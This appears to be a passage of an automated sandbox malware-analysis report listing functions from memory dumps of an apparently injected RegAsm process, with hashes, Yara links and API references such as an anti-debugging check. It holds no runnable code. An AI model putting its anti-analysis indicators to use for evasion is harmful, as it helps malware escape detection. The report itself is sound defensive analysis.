Instruction Fuzzy Hash: 2D52A170E102098FEF64DBA8D5817ADB7B2FB85310F21852AE855EB341DB35DD81CB91

Function 0665B5B8 Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0adfa4f86d8f23786506d4c5e4c4057a3f0128685cf6238aba66c1393e768d90
Instruction ID: d12dcf50da15d7334d358ed0058641de0158ed66786dd209b7266d0498bac765
Opcode Fuzzy Hash: 0adfa4f86d8f23786506d4c5e4c4057a3f0128685cf6238aba66c1393e768d90
Instruction Fuzzy Hash: 8702BD30B1020A9FDB54EB69D4A17AEB7A2FF84310F258569D8059B395DB71EC82CB90

Function 06658BC0 Relevance: 1.7, Strings: 1, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06658D0B

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: a00b4c6ebba385335c86367e0d9f544ff19b65eb8f61a507b6807c5101aa140b
Instruction ID: 1841102dfee9a4ac93730614bb74d7419db943d53926c2d0ac3a5a24bc477711
Opcode Fuzzy Hash: a00b4c6ebba385335c86367e0d9f544ff19b65eb8f61a507b6807c5101aa140b
Instruction Fuzzy Hash: 57E1D175F00228CFDB50DBA4C4516AEBBB2FF88320F21856AD815AB344DB35EC46CB90

Function 06E61CE5 Relevance: 1.6, APIs: 1, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06E61E02

Memory Dump Source

Source File: 0000000B.00000002.2514900014.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e60000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: dbdcb07a884706e6ed68c63f7452dfe41a7a019b608891cff37de1a9c86bfd6d
Instruction ID: bf7a255e15864924230d8fa4350f3d266d49a4e6dc4fa9f37b6e5292e5b799a6
Opcode Fuzzy Hash: dbdcb07a884706e6ed68c63f7452dfe41a7a019b608891cff37de1a9c86bfd6d
Instruction Fuzzy Hash: 1451F1B1D003499FDB15CF9AC884ADEBFF6BF48350F64812AE819AB210D7709845CF90

Function 06E61CF0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06E61E02

Memory Dump Source

Source File: 0000000B.00000002.2514900014.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e60000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f4d42cba603300620844baaec1fc22a40c7dbf2453a048b1201e0c12f63a7499
Instruction ID: bc8731cf3fcbad6f9efad5901a8ebc762dfb8d64c0f29bda920e92a88e93f7ab
Opcode Fuzzy Hash: f4d42cba603300620844baaec1fc22a40c7dbf2453a048b1201e0c12f63a7499
Instruction Fuzzy Hash: 7141B0B1D103499FDB15CF9AC884ADEBBB5BF48354F64812AE819AB210D774A885CF90

Function 06E6128C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06E64371

Memory Dump Source

Source File: 0000000B.00000002.2514900014.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e60000_RegAsm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 1abe775833c259187c5c468e03a4737232409d5d86b04f8ec507b8bf5a3f1215
Instruction ID: d84c8bab6bffb0e8d6f3839bf2207c5990f9205beb37d3ad12cb616ac5705b59
Opcode Fuzzy Hash: 1abe775833c259187c5c468e03a4737232409d5d86b04f8ec507b8bf5a3f1215
Instruction Fuzzy Hash: 7F410BB5940305CFDB54CF5AC448BAABBF5FF88314F24C459E519AB361D774A841CBA0

Function 010E70A8 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 010E7127

Memory Dump Source

Source File: 0000000B.00000002.2509221471.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_10e0000_RegAsm.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 4a979faa2ac39aa81aab0d78848cb32aaddb8e6d49ceefb7b3c1b176e553153c
Instruction ID: 1ea8805439c1412bc95fb05322a2297613da66048f02473bd1553568e75200d0
Opcode Fuzzy Hash: 4a979faa2ac39aa81aab0d78848cb32aaddb8e6d49ceefb7b3c1b176e553153c
Instruction Fuzzy Hash: ED212772C002598FDB14CF9AD884BEEBBF5AF48220F24846AD455B7250C7789945CF60

Function 06E65960 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 06E6684D

Memory Dump Source

Source File: 0000000B.00000002.2514900014.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e60000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 2af86b5ed72fdd8727ac4fd94185f1a10d9d7308686d10817f3dbd6a8ae80495
Instruction ID: 6f314a25e26d6bd740880eaed67897dfb92ea036319f3b97411bb8f10ad694fd
Opcode Fuzzy Hash: 2af86b5ed72fdd8727ac4fd94185f1a10d9d7308686d10817f3dbd6a8ae80495
Instruction Fuzzy Hash: FD1145B1C003498FDB20DF9AD444BDEBBF4EB48320F208429E519A7300D374A944CFA5

Function 06E667F1 Relevance: 1.5, APIs: 1, Instructions: 45
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 06E6684D

Memory Dump Source

Source File: 0000000B.00000002.2514900014.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e60000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 132d189e355bb5728be39ec30a05aa601c8e105b182c18e6f8ee1148381bde88
Instruction ID: 5e1b35fa7fb23b59947f7770921d8e6f4c76d7b9abd6e797be348b518be0dd4b
Opcode Fuzzy Hash: 132d189e355bb5728be39ec30a05aa601c8e105b182c18e6f8ee1148381bde88
Instruction Fuzzy Hash: B91115B5C103498FDB20DFAAD984BDEBBF4EB48324F248419E518A7210C374A944CFA5

Function 0665E500 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c67d093fc792c305e7b96b96fccfd1d273802a91feed6b92d3bb11671fb501bc
Instruction ID: 24e955e9d7f43a83196fec2b0028e69e8536e9c3bc523417fd7de486125dcf06
Opcode Fuzzy Hash: c67d093fc792c305e7b96b96fccfd1d273802a91feed6b92d3bb11671fb501bc
Instruction Fuzzy Hash: CEE17F30F1030A8FDF65DBA9D4916AEB7B2FF85300F518529E805EB345EB71A942CB91

Function 0665EA58 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d151c14cef7d54e6d93932f8226d196f1b1e2932034021ac0b4436cad144420
Instruction ID: b5d914c498f7da6b5e886bfcbe12270e5da7bf23554de37f63804eb9dc030205
Opcode Fuzzy Hash: 8d151c14cef7d54e6d93932f8226d196f1b1e2932034021ac0b4436cad144420
Instruction Fuzzy Hash: 69A1E970F102098FEF64DB6CC5917AEB7B2FB89710F214525E84AEB381DA36DD818B51

Function 0665C980 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad0249851807134f67710b16fd9a7df630ec72fc2707e91938253e2bdb891bd6
Instruction ID: d60593b50fc229c654e5339b1ccc6075cf92b11dd0ebf06f058827f9a280024f
Opcode Fuzzy Hash: ad0249851807134f67710b16fd9a7df630ec72fc2707e91938253e2bdb891bd6
Instruction Fuzzy Hash: 19915371B6020A8FDB64EB69D85176EB7F2FF88300F508569C909EB354EF709D428B91

Function 06659620 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a55a02325818118e28d4a7f1a126cf649d2edbcf8302f714aed827a5adbe6930
Instruction ID: 0ec2af5ed3393d5c5aa53346dc83974a4646756551f7c73508f276475a14ad6e
Opcode Fuzzy Hash: a55a02325818118e28d4a7f1a126cf649d2edbcf8302f714aed827a5adbe6930
Instruction Fuzzy Hash: 6D61B171F001118FDB559A6ECC8066EBADBAFC4720F654539D80ADB360DEA5EC0687D1

Function 066576C0 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d77b75e7c75c0a26b9852d1ad6603fbcb9d9f13b004b574f37d473a4f08f2bc
Instruction ID: b001c6896cf8fe5fcfcf2481b27f2cbf51fc31b048bf29be6a31f1e646c5eb4a
Opcode Fuzzy Hash: 4d77b75e7c75c0a26b9852d1ad6603fbcb9d9f13b004b574f37d473a4f08f2bc
Instruction Fuzzy Hash: D3814D74B102099FDB54DBA8D4A17AE7BA7FF89300F118429D809EB384EE34DC428B91

Function 066576D0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8978d446a3ecbf0457ffdd1deddd7ba0a1745d008d2a1e44239e42c2d6786c99
Instruction ID: 4e1379dfbf43a89b95a913e83d5df818551aff3fc22b175932996ded5015fb5d
Opcode Fuzzy Hash: 8978d446a3ecbf0457ffdd1deddd7ba0a1745d008d2a1e44239e42c2d6786c99
Instruction Fuzzy Hash: A3814F34B102099FDB54DBA9D46576E7BB7FF89300F118529D809EB384EE35EC428B91

Function 066579DC Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8cf459a3b2db396ce1450158ddcbde0814ef3594a4ec979f27cfdd22135e521
Instruction ID: 12fcce39d8a6027f699a2dcf7acbd43da4d4ec994f0c3467d184f520481a9cb7
Opcode Fuzzy Hash: e8cf459a3b2db396ce1450158ddcbde0814ef3594a4ec979f27cfdd22135e521
Instruction Fuzzy Hash: 34912C34E106198FDB60DF68C890B9DBBB1FF89310F208695D559BB381DB70AA85CF91

Function 066579F0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c84d2aaf887f293d98e24b1b825318c30583516b7c60b31795c3efd4791bfcc
Instruction ID: cdd47cd9073a40e6a52e77ce40b8a75d638bd40d8f405fd25c5dfe39e0a9c45d
Opcode Fuzzy Hash: 5c84d2aaf887f293d98e24b1b825318c30583516b7c60b31795c3efd4791bfcc
Instruction Fuzzy Hash: B5912C34E106198BDF60DF68C890B9DBBB1FF89310F208599D559BB341DB70AA85CF90

Function 06657F88 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ad78758c4d9d4590cfcf1227dc6559a06e00f45d4b1273872cd116533f89614
Instruction ID: 8d4e68565fc322bb67f03f80405db9afff2ba2266d2c702a34ed6028c8216c39
Opcode Fuzzy Hash: 0ad78758c4d9d4590cfcf1227dc6559a06e00f45d4b1273872cd116533f89614
Instruction Fuzzy Hash: FD619131F102199FEB549BA5C8157AEBBF2FF88700F20842AE506AB395DF758C458F90

Function 0665C97A Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1daf452783040c0fc547ea9f853d1d6e4083135a3b61444ddfb133db74b217b
Instruction ID: c580bb0798641c36135f91faa615e1e3fee97b7dc573ea62b8edf26369eead39
Opcode Fuzzy Hash: f1daf452783040c0fc547ea9f853d1d6e4083135a3b61444ddfb133db74b217b
Instruction Fuzzy Hash: 47516671B602069FDB64EB78D86076EB7F2FB88310F508569C909DB354EE30DD428B95

Function 06657F78 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1173f88c77ba683c2cfb0189c8cfba14ca75735df4790777dbfcde76c5fa817d
Instruction ID: 778535e92f10015d562d32b2f154fbfba4d0906cf2ebc8345a33ea162f650e41
Opcode Fuzzy Hash: 1173f88c77ba683c2cfb0189c8cfba14ca75735df4790777dbfcde76c5fa817d
Instruction Fuzzy Hash: AB41A371F102099FEB559FA5C814BAEBBF6BF88700F208529E506AB395DF748C058F90

Function 06658840 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b22104c7c397e3dd407631819611f672dc6e4715794779883f72640c507e0935
Instruction ID: 91d885976447089020c49896d6c23c6a1a81bc971456997576260797e7bb8282
Opcode Fuzzy Hash: b22104c7c397e3dd407631819611f672dc6e4715794779883f72640c507e0935
Instruction Fuzzy Hash: 60417C31E006199FDF70CE99D882BAFF7B5EB84210F10492EE656D3A40D370E9458B92

Function 066559FD Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d43ede79caf6382d52a1dc1bb43d85de65b9a9be9d5f991db759aceef9690dd
Instruction ID: e0a1cb0e78165c70688f793ae51d83c8e3b941dda345b6fbd7cd67cd153e4fad
Opcode Fuzzy Hash: 5d43ede79caf6382d52a1dc1bb43d85de65b9a9be9d5f991db759aceef9690dd
Instruction Fuzzy Hash: 27310530B002068FDB55AB34C4A97AF7BA2BB89600F554568D847DB349DE35CC46CBE1

Function 06655A10 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4521278b8caabbda7c7216776d28d58881eebc53422c1c34c22e261bef9e8a41
Instruction ID: 355c084508101e63d3e5fbc8d5b5471571748af1680e13041991f7469e78e8df
Opcode Fuzzy Hash: 4521278b8caabbda7c7216776d28d58881eebc53422c1c34c22e261bef9e8a41
Instruction Fuzzy Hash: 5631D230B0020A8FDB54AB34C46966F7BA3BB89610F654568D807DB388DE35DC46CBE1

Function 066558C0 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd76aacf59ee28e52808684e868e17dddfb7c7f429c4815842af052e1ae6525a
Instruction ID: 159cb18fb996e73e68d465dd8f00bf3070e6bd615b9f6e3e8ae85955e582cf39
Opcode Fuzzy Hash: cd76aacf59ee28e52808684e868e17dddfb7c7f429c4815842af052e1ae6525a
Instruction Fuzzy Hash: 29317074E106199FCB15CFA5D49969EBBF2FF89310F10851AE856E7340EB70AC42CB90

Function 066558D0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3d692f1dcf9e334fdf8d9e7c52cef4de5a74b6ec3007360e4b238727155a35
Instruction ID: 1589101abfae9a50f958ec785ab6b7287d6d07ab452b058e188807f190c87990
Opcode Fuzzy Hash: 1c3d692f1dcf9e334fdf8d9e7c52cef4de5a74b6ec3007360e4b238727155a35
Instruction Fuzzy Hash: D7316D74E106199FCB15CFA5C49969EBBF2FF89310F10852AE856E7350EB70AC42CB50

Function 06658831 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91eca09adeca55ebad2960c1b1cb871cb38d13e10a02bfe9f7bd1f5d474b4b21
Instruction ID: cde80d989751fa6f8b0984b5a17788ec54a65539d2c988b48cdd29dafbd44c39
Opcode Fuzzy Hash: 91eca09adeca55ebad2960c1b1cb871cb38d13e10a02bfe9f7bd1f5d474b4b21
Instruction Fuzzy Hash: 3431C131E007159FDB61CEA9CC817AFBBB6FB84200F11492EE555D3A90C770A8458B92

Function 066572D8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37ebc5c6019df107bb04a7777a823dde6c3a6cc2eb66f10280da8602ef18f9b5
Instruction ID: b5369c0977d0235ac60f7b7cb8451fcf1b8a44c9247668757b21150fccfbfee7
Opcode Fuzzy Hash: 37ebc5c6019df107bb04a7777a823dde6c3a6cc2eb66f10280da8602ef18f9b5
Instruction Fuzzy Hash: 53215E76F212159FDB50DFA9D981AAEBBF6FB48710F114025EA05E7340E731DD118B90

Function 066572D6 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ea9c7d8feaba0c3791c4eb3227c1c0d6ac3f90cb7fc0b65c6732a42ab6f79fe
Instruction ID: e5395344aad02699ec1ad5d667768b350adc054972725d88efb21055526f55ca
Opcode Fuzzy Hash: 7ea9c7d8feaba0c3791c4eb3227c1c0d6ac3f90cb7fc0b65c6732a42ab6f79fe
Instruction Fuzzy Hash: E4215076F202169FDB40DFA9D941BADBBF2BB48710F158025EA05E7384E731DD118B90

Function 0109D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2508739633.000000000109D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0109D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_109d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65beed49886a4bce36ca28ff1ba53acb8910b9bac4d8a8139eeca82fc9640cf3
Instruction ID: 9d1df3a3ea34e6e6b178753bc3c155b7faea6277f274626708164342452e18c5
Opcode Fuzzy Hash: 65beed49886a4bce36ca28ff1ba53acb8910b9bac4d8a8139eeca82fc9640cf3
Instruction Fuzzy Hash: 5C2122B1544304EFDF15CF64C9D0B26BBA1EB84314F24C9ADE9894B242C73AD846DB62

Function 0665A550 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b7f28691f27d160361898fbc91358d436b4ca86005bce7f703b356f4fc51596
Instruction ID: 635791ce35bcad764f5cba88c33c0af28a5474cecf24aa0758efde6099f35b49
Opcode Fuzzy Hash: 0b7f28691f27d160361898fbc91358d436b4ca86005bce7f703b356f4fc51596
Instruction Fuzzy Hash: 1021B431F201199FDF54EAA9E5656ADB7A7FB84310F118925D805EB344EB31EC428B90

Function 06656888 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c730690ecf75e2a956a52d4913159f35df1b4411e400950ea8d0fece484c86
Instruction ID: e9cce6b15bf51e100f8f83bf1f5306a44cbb9d51a1b5832e3deba70cf110082d
Opcode Fuzzy Hash: 48c730690ecf75e2a956a52d4913159f35df1b4411e400950ea8d0fece484c86
Instruction Fuzzy Hash: AB11E671E002199FCB54DB79C8412DEBBF6FB8A310F55856AD406EB300EA31DA41CBE0

Function 066573E8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 552b87de578d453ea93e3bef9f094d699ad0b598edb9bf8e749929bf12a2d046
Instruction ID: 3f45c3a9538a8c9f2cc6b1f9df23a430c33d39b49e60068dd24493482e821b01
Opcode Fuzzy Hash: 552b87de578d453ea93e3bef9f094d699ad0b598edb9bf8e749929bf12a2d046
Instruction Fuzzy Hash: 8911A532B101294FDB649668D8246AE7BA7BBC8310F11853AD809E7344DE25DC0287D1

Function 0665761F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19c7f94903bbc6fb42b02d1fa5caec54a0b02f2bf59e121b472fa13d6bcc4ce3
Instruction ID: fe534dd3d2631cb40c3c30120bc86e44ced779aaa1c2793c28ba3119bd98d87b
Opcode Fuzzy Hash: 19c7f94903bbc6fb42b02d1fa5caec54a0b02f2bf59e121b472fa13d6bcc4ce3
Instruction Fuzzy Hash: 9001DF71B142200FDB61967DC9657AEABDADBC9710F15842AF40ACB385EE25CD0347A1

Function 066570A1 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 872716d18fa8c73be519af25571ef8b8d558d1141a5d6a797b1332b921d6194f
Instruction ID: fd1969f82084d90ae41797923f1e9a01f082705801d26cc6e882e639ce01dbdd
Opcode Fuzzy Hash: 872716d18fa8c73be519af25571ef8b8d558d1141a5d6a797b1332b921d6194f
Instruction Fuzzy Hash: 1E21EEB5D01259AFCB10CF9AD985BDEFBB4BB48210F14822AE918A7200C374A954CBA4

Function 0109D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2508739633.000000000109D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0109D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_109d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84a04388303910470aa15d6927f96486ec1deef55ea9c6be71df9954fbb730d8
Instruction ID: 4d49dff066470ea5680123eaa01ebd3e06ae15de8b039b9376de947b7afc68a5
Opcode Fuzzy Hash: 84a04388303910470aa15d6927f96486ec1deef55ea9c6be71df9954fbb730d8
Instruction Fuzzy Hash: 88110076544280DFCB12CF14C9D0B15BFA1FB84314F28C6A9E8894B652C33AD44ACF61

Function 066570A8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e653ca8867ce8f40b9c139fa0d44e9006b6b97de3f124646f1ca4549c9cdab0d
Instruction ID: 111c848362155f47054ac5198645f0bce7efe7ac11dc6a61621a41791b94db5e
Opcode Fuzzy Hash: e653ca8867ce8f40b9c139fa0d44e9006b6b97de3f124646f1ca4549c9cdab0d
Instruction Fuzzy Hash: DA11D0B5D01259AFDB10CF9AD884BDEFBB4FB48310F10812AE918A7200C374A954CFA5

Function 0665DB38 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3feee06766ad7705c1dda6d29cd575dc4706a21ca8b027e1a476cea5016222
Instruction ID: e416840d537781eeec84f5d3dcf8019b4433c187fd196802433dcc6c15b3db8a
Opcode Fuzzy Hash: fb3feee06766ad7705c1dda6d29cd575dc4706a21ca8b027e1a476cea5016222
Instruction Fuzzy Hash: 4E01F771B246010FD760E678D8A176B77D3EF89710F004926E40EC7394EE21DC024395

Function 066573D8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

